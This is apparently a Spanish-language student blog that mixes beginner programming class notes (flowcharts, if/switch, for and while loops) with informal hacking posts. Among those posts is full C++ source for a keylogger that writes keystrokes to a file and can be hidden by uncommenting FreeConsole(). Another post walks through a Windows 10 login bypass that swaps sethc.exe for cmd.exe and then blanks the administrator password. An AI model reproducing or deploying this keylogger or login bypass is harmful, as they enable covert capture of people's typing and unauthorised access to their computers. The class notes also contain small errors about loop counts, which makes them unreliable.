jueves, 6 de septiembre de 2018

Informal-Como borrar virus de las memorias

Desgraciadamente no tengo memoria usb pero supongamos que tengo una, digo supongamos :'v
Ahora si tuviera una memoria y para mi desgracia tuviera un virus de esos que ocultan las carpetas y asi que son bien molestos
Bueno cuando tienes una memoria USB puedes ver que unidad tiene

Resultado de imagen para que letra tiene mi usb
Si saque esta imagen de internet pero como ven la usb tiene entre parentesis la letra G:
asi que abrimos la consola o simbolo de sistema o cmd o shell o dios o como le llames, apretas la tecla de windows y escribes "cmd" y apretas enter
Resultado de imagen para como abrir la cmd
abres ese programa y escribes la letra de tu unidad asi por ejemplo si es la E pues escribes E:
Si bueno ahora que ya hiciste eso escribes "attrib -r -s -h *.* /s /d"
bueno esto mostrara todos los archivos ocultos en tu memoria asi que escibe eso y abre tu memoria y borra rapido todos los archivos raros, si se ocultan escibelo denuevo y asi ve borrandolos y ya estuvo

Formal - Primeros pasos

En esta ocasión vimos la parte de los diagramas de flujo un poco mas avanzados, que requerían de una forma mas profunda de analizar el problema para llegar a su mas optima solución.
Esto fue visto el martes, comenzamos a hacer una forma sintética o una forma primitiva de lo que son los ciclos.
En la programación existen lo que son llamados ciclos que son segmentos de código que se repetiran cierta cantidad de veces en base a una condición, existen los siguientes tipos de ciclos:
-for
-while
-do while
 y por otra parte están lo que son las desisiones como:
-if 
-switch
Bueno la mecánicas de una decisión es poner una condición y que se cumplan determinadas instrucciones en caso que es condición sea verdadera o falsa por ejemplo 
if (Aqui va la condición)
     {
       Esto se ejecuta si la condición es verdadera
      }
else
      {
       Esto se ejecuta si no es verdadera
      }
tiene la decisión if que significa si esto entonces esto sino entonces esto otro que se representa con un else como ejemplo pondre esto
if (1==1)
     {
      Hola
      }
else
      {
       Adios
      }
esto retorna como valor Hola porque es verdadero por otra parte...
if (1==2)
     {
      Hola
      }
else
      {
       Adios
      }
Esto da falso porque 1 no es igual a 2 asi que regresa un Adios
Bueno ya entendido este concepto en un ciclo se pone una condicion pero este ciclo se repetira hasta que la condicion de como resultado un falso
En el caso de un for que como dato solo acepta valores numericos y tiene 3 valores que se separan por un ; seria:
for(variable numerica ; condicion ; accion con variable)
   {
    Aqui poner que se ejecutara tantas veces que se repita el for
   }
Ya esto en codigo seria de esta manera
for(int i=0 ; i<10 ; i++)
   {
    Hola
   }
En este caso se pone "int i=0" esto dice que una variable tipo int que significa integer, en español entero (existen mas variables numericas y todas aplican al for como lo son double, long, float, etc) osea es una variable de numero entero entonces "int i=0" osea que la variable de tipo entero se llama "i" y vale 0, despues de un ";" se pone "i<10" es la condicion que dice que mientras "i" sea menor que 10 entonces despues de un ";" se pone "i++" que significa que a "i" le vas a sumar 1 osea que primero dices que creas una variable que se llama "i" y que vale 0 y que mientras "i" sea menor que 10 entonces le sumes 1 en otras palabras el for se va a repetir 10 veces hasta que "i" ya no sea menor que 10 entonces se termina el ciclo osea que mostrara en pantalla la palabra Hola 10 veces que es la cantidad de veces que se repetira el for.
Quiero aclarar que la variable "i" fue creada en el for asi que en cuanto termine el for la variable desaparece para siempre :'v
En el caso de un while es diferente en este solo pones una desicion y la desicion puede o no ser numerica y este se repetira mientras la desicion de verdadero por ejemplo:
while(desicion)
{
Instrucciones
}
En este caso pondre esto
while("hola"=="hola")
{
Jajaja xd
}
----------------------------------
int x=3;
while(x<20)
{
Jojojojo xd
x++;
}
------------------
while(true)
{
Instrcciones
}
----------------
while(1==2)
{
Esto nunca pasara :'v
}
Como se ve en los ejemplos se ve que compare 2 cadenas de texto y como contienen lo mismo pues da verdadero pero como el while no cambia el valor como lo hace un for entonces en el primer ejemplo como "hola" siempre sera igual a "hola" este while se repetira infinitamente hasta que cierres el programa o la computadora explote.
En el ejemplo 2 se creo un variable x que ale 3 y dentro de las instrucciones de el while le sumamos 1 a la variable esto seria similar a un for que dijera 
for(int x=3;x<20;x++)
bueno este ciclo se repetira 20 veces y no sera infinito
en el tercer ejemplo puse ya sin mamadas directamente un true que es verdadero esto si se puede hacer pero generara un bucle infinito como el de el ejemplo 1
en el ejemplo 2 marca falso desde el principio asi que nunca pasara



Luego vimos programación en C# y creamos un conjunto de operaciones muy básicas y algunos de nosotros experimentamos con el codigo para hacer algunos truquitos xD pero bueno eso es todo

jueves, 23 de agosto de 2018

Formal3-Mas diagramas de flujo

Informal3-Keylogger parte 1

Bueno un keylogger es un programa que se dedica a almacenar las teclas que son presionadas en el teclado que viene de keyboard o teclado
Este lo haremos en C++ porque es un lenguaje rapido y de bajo nivel por lo que da ventajas.
Bueno obviamente un keylogger de los buenos es muy elaborado y en una semana no podre hacer mucho así que estará dividido en partes que subire las mejoras cada semana aver que tan lejos podemos llegar.
Usaremos Visual Studio porque es chido bueno creamos un proyecto
Bueno para programar en c++ se necesitan agregar librerías que nos darán las funciones que necesitamos en este caso incluiremos las librerías :

#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>

Seguido ponemos

using namespace std;

Esta linea agrega palabras reservadas, como C++ es una ampliacion de C necesita agregar las palabras reservadas por ejemplo para mostrar un mensaje esta el comando cout pero si no pusieramos la linea anterior deberiamos hacer referencia a el namespace que tiene estas palabras reservas asi que se escribiria std::cout lo cual da hueva y hace mas largo y tedioso escribir asi que esta funcion es muy util

Ahora escribiremos esto

void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}


El void EscribirArchivo(LPCSTR texto) crea un metodo que se llama EscribirArchivo  requiere un parametro de tipo LPCSTR que se llamara texto, los tipo LPCSTR son punteros de tipo String para no hacerle el cuento mas largo contiene una cadena de texto en un puntero.

Luego dice ofstream archivo; que esto crea un objeto tipo ofstream que se llama rchivo que sirve para abrir un archivo de l computadora

luego dice rchivo.open("texto.txt",fstream::app);  esto dice que debe buscar un archivo llamado texto.txt o si no existe crearlo en la ruta donde esta mi programa y abrirlo

archivo << texto; Esto se refiere a que lo que este en el puntero se introducira en el archivo que como ya se hizo referencia es el texto.txt

archivo.close(); Esto cierra el archivo


bien ahora les explicare que es un switch
Funciona asi se pone: 
switch (la variable a comparar va en estos parentesis)
{
        case (aqui va el parametro):
                 Instrucciones si es verdadero;
                 break; Este comando cierra el case y se puede abrir otro
}
Bien en c++ la deteccion de teclas se pone como: VK_TECLA
por ejemplo VK_SPACE o VK_CONTROL pondre una lista de las teclas al final ahora pondremos en el programa lo siguiente


Bueno ahora estas equivalencias a las teclas valen un numero que es equivalente al codigo ASCII que se enumera de el 1 al 255 pueden ver que numero corresponde a cada caracter
Resultado de imagen para codigo ascii
bueno en el caso VK_A es igual al numero 65
entonces vamos a crear un metodo que requiera un parametro de tipo numerico osea int que significa integer o entero y dentro un switch

bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;

case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;

case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;

case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;

case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;

case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;

case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;

case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;

case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;

default: return false;

}

}


bueno creamos un metodo llamado TeclasPulsadas y pedimos una variable int llamado tecla
luego hacemos un switch que compara la variable tecla con el numero de todas las teclas que puse que son caracteres especiales y esto lo hago porque los caracteres especiales al traducirlos de el numero a un caracter dar valores raros si apretas control o shilft da cosas raras o si apretas el boton de borrar o el enter asi que solo tomamos los mas importantes o los mas usados

Primero dice cout<<"lo que sea"  esto hace que se muestre en la consola cierto texto si es presionada esa tecla
depues dice EscribirArchivo que recuerden es el metodo que crea e introduce valores en nuestro archivo y le damos un valor de una cadena de texto entre comillas

Para poner un comentario se pone // y lo que tu quieras para que no marque error el codigo

bueno ahora ponemo el metodo principal

int main()
{


//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{

if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{

cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
bueno creamos el tipo de metodo int
tenemos comentado el FreeConsole que lo que hace es ocultar la consola que va a aparecer cuando lo corran solo quitan las 2 diagonales y el programa sera invisible

 unsigned char key;             luego creamos una variable sin signo de tipo char o caracter que se llama key

int numero = 0;                   creamos una variable de tipo int llamada numero


luego el comando while es un repetidor o un ciclo asi que lo que se pone entre parentesis mientra de verdadero se repetira todo lo que este dentro de el while como ponemos un true osea verdadero en el while se repetira por siempre hasta que cerremos el programa o explote la computadora, en este caso no aplica como en los diagramas de flujo que ponemos un final siempre prque el programa por si solo nunca terminara.

while (true)


Después dice Sleep (20) osea que dormirá o pues que se pausara por 20 milisegundos porque si no o hiciéramos el programa se repetiría tantas veces que travaria la computadora asi evitamos que explote

Sleep(20);



luego hacemos un for que diga que key y que numero son iguales a 8 y esto es porque en el codigo ascii los primero 8 carcteres no nos importan asi que nos los saltamos entonces asi repetimos todos los numeros de 8 al 255

for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)

luego un if que dice que si key es igual a -32767 de verdadero no entendi esto pero segun yo esto verifica que la tecla dejo de presionarse

if (GetAsyncKeyState(key) == -32767)

Luego dice que si TeclasPulsadas es falso y numero es diferente de 162,164 y 165 entonces muetra en consola la tecla abre el archivo y guarda la tecla en pocas palabras te dice que si se presiono una tecla con codigo ascci entre 8 y 255 y ya se dejo de presionar y no es ninguna de las especiales que pusimos en el switch y no tiene el codigo ascci 162,164 o 165 que son las teclas Control, ALT y ALTgr

if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)



Al final todo el codigo se ve asi

#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>

using namespace std;

void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;

case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;

case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;

case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;

case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;

case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;

case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;

case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;

case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;

default: return false;

}

}
int main()
{


//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{

if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{

cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
ya corriendolo se ve asi
y yo ahorita estoy escribiendo en el blog y ya se registro todo lo que introduje en el teclado
y en esta carpeta esta el archivo texto.txt que tiene todo lo que ya puse
el contenido es este
Como pueden ver no distingue minusculas de mayusculas es algo en lo que trabajare ademas de darle orden a lo que se guarde que puede ser confuso entre tantas control y -b- y asi porque lo que es la version 1.0 con muchas fallas pero se mejorara

jueves, 16 de agosto de 2018

Formal 2-Diagramas de flujo

El maestro nos propuso ciertos problemas que debíamos resolver con algoritmos sencillos para resolver problemas tales como la suma de 3 números.
Estos ejercicios sirvieron para desarrollar nuestra lógica y entendimiento de los algoritmos que manejaremos mas adelante en esta materia
La escencia de los algoritmos es la siguiente:

1.Análisis previo del Problema: Se debe realizar un análisis del funcionamiento del problema antes que se realice cualquier algoritmo.

2.Definición de Requerimientos: Los problemas a solucionar, esto es, por ejemplo, el sumar dos números, multiplicar dos matrices, ordenar una lista de números, generar un reporte, etc.

3.Identificación de los Módulos: La identificación de los módulos es tan importante como la identificación correcta de los requerimientos, esto porque la correcta identificación de los módulos simplifica considerablemente la realización de los algoritmos que darán solución a los requerimientos identificados en el paso anterior.

4.Realización de los Algoritmos: El algoritmo deberá cumplir con las características que se indicaron para posteriormente implementarse en un lenguaje de programación comprensible por una computadora.

5. Implementación de los Algoritmos: La implementación de los algoritmos se debe realizar en un lenguaje de programación para que una computadora pueda comprender las instrucciones que el algoritmo modela para así poder ejecutarlas y lograr el resultado esperado.

Ademas vimos las precedencias de operadores con operaciones simples de logica y de operaciones matematicas basicas

En la clase de el día jueves nos propuso problemas relativamente fáciles pero que requerían cierta lógica y razonamiento para su correcta solución. Estos en vez de resolverlos como nuestro corazón nos dijera utilizamos los diagramas de flujo que el maestro previamente nos explico.
Ocurrio un simulacro lo que nos dio tiempo de debatir un poco la resolución de dichos problemas.
Los elementos de un diagrama de flujo son:
http://ladinopaola.blogspot.com/p/pasos-para-realizar-algoritmos.html
https://www.smartdraw.com/flowchart/img/simbolos-de-diagramas-de-flujo.png?bn=1510011133

lunes, 13 de agosto de 2018

Informal2-Entrando a Windows sin contraseña

Bueno les enseñare a entrar a windows sin saber la contraseña
Este por decirse bug funciona en windows 7,8 y 10 me encantaría enseñarlos en los 3 sistema operativos que es en escencia lo mismo pero con algunos pasos diferentes pero el tiempo se me vino encima y lo dejare para otra entrada en este caso pondre windows 10 que es el mas común.
Necesitamos un disco de instalación de windows 10
Usare mi laptop para probarlo
Lo primero es entrar a la BIOS mi laptop es hp y tuve que reiniciarla y apretar rápido la tecla esc
Me mostró lo siguiente
Le di en opciones de dispositivo de inicio y después en CD- ROM USB porque es donde tengo mi disco
Después ya en el menú de instalacion
Apretamos Shift+F10 y nos abre una consola de símbolo de sistema
Ahora buscaremos el sistema operativo yo busque en el disco local C:
escribimos C:
y después dir para ver si tiene las carpetas del sistema
Como ven dice que no encontró el archivo así que ahora probamos con el disco D:
Como pueden ver en la llave que estan las carpetas del sistema bueno proeguimos a escribir
cd d:\windows\system32
el comando cd es para ir a la ruta que especificamos despues
El programa sethc.exe es el programa de las teclas especiales si apretas en tu omputadora la tela shift muchas veces aparecera una ventanita buena esa ventana es sethc.exe asi que usando el comando ren que cambia el nombre le pondremos un 1 a su nombre para que no sea igual
 
Seguido copiaremos el símbolo de sistema poniéndole el nombre sethc.exe de esta manera haremos que al apretar muchas veces shift aparezca una consola
Seguido cancelamos la instalación y reiniciamos la computadora para que nos aparezca el login
Ahora apretamos rápido muchas veces shift y nos abrirá una consola

bueno despues escribimos : control userpaswords2
que este comando nos abre como un administrador de usuarios ahora como no estamos en ningun usuario entonce tenemos todos los permisos de hacer lo que queramos asi que le quitaremos la contraseña al administrador
seleccionamos el usuario elegido y damos en restablecer contraseña
después dejamos vació todo y damos aceptar si queremos quitarla si quieres cambiar la clave es tu decisión
yo lo deje vació luego si cierras las ventanas y das enter sin escribir contraseña solito entra a windows o en su caso escribe la nueva que definiste y listo

miércoles, 8 de agosto de 2018

Formal-semana 1

Hola esta semana vimos lo que es la creación de algoritmos de la programación que fue de una forma bastante básica nos explicaron sobre la arquitectura de las computadoras y sobre los tipos de lenguajes de programación así como sus características Fueron clases bastante interesantes en las que aprendí ciertas cosas que desconocía como por ejemplo los tipos de memoria de el procesador y las tarjetas de vídeo No puedo esperar a empezar a programar de verdad Por ahora estamos viendo problemas lógicos que resolvemos con solo palabras al azar no estamos usando metodologías o diagramas de flujo aun pero espero pronto el maestro nos lo aplique Tengo muy altas expectativas de esta materia y de nuestro maestro así que haga su mejor esfuerzo para enseñarnos lo mas que pueda ya que ahora es a única clase que vale la pena en esta carrera en lo que respecta a este primer semestre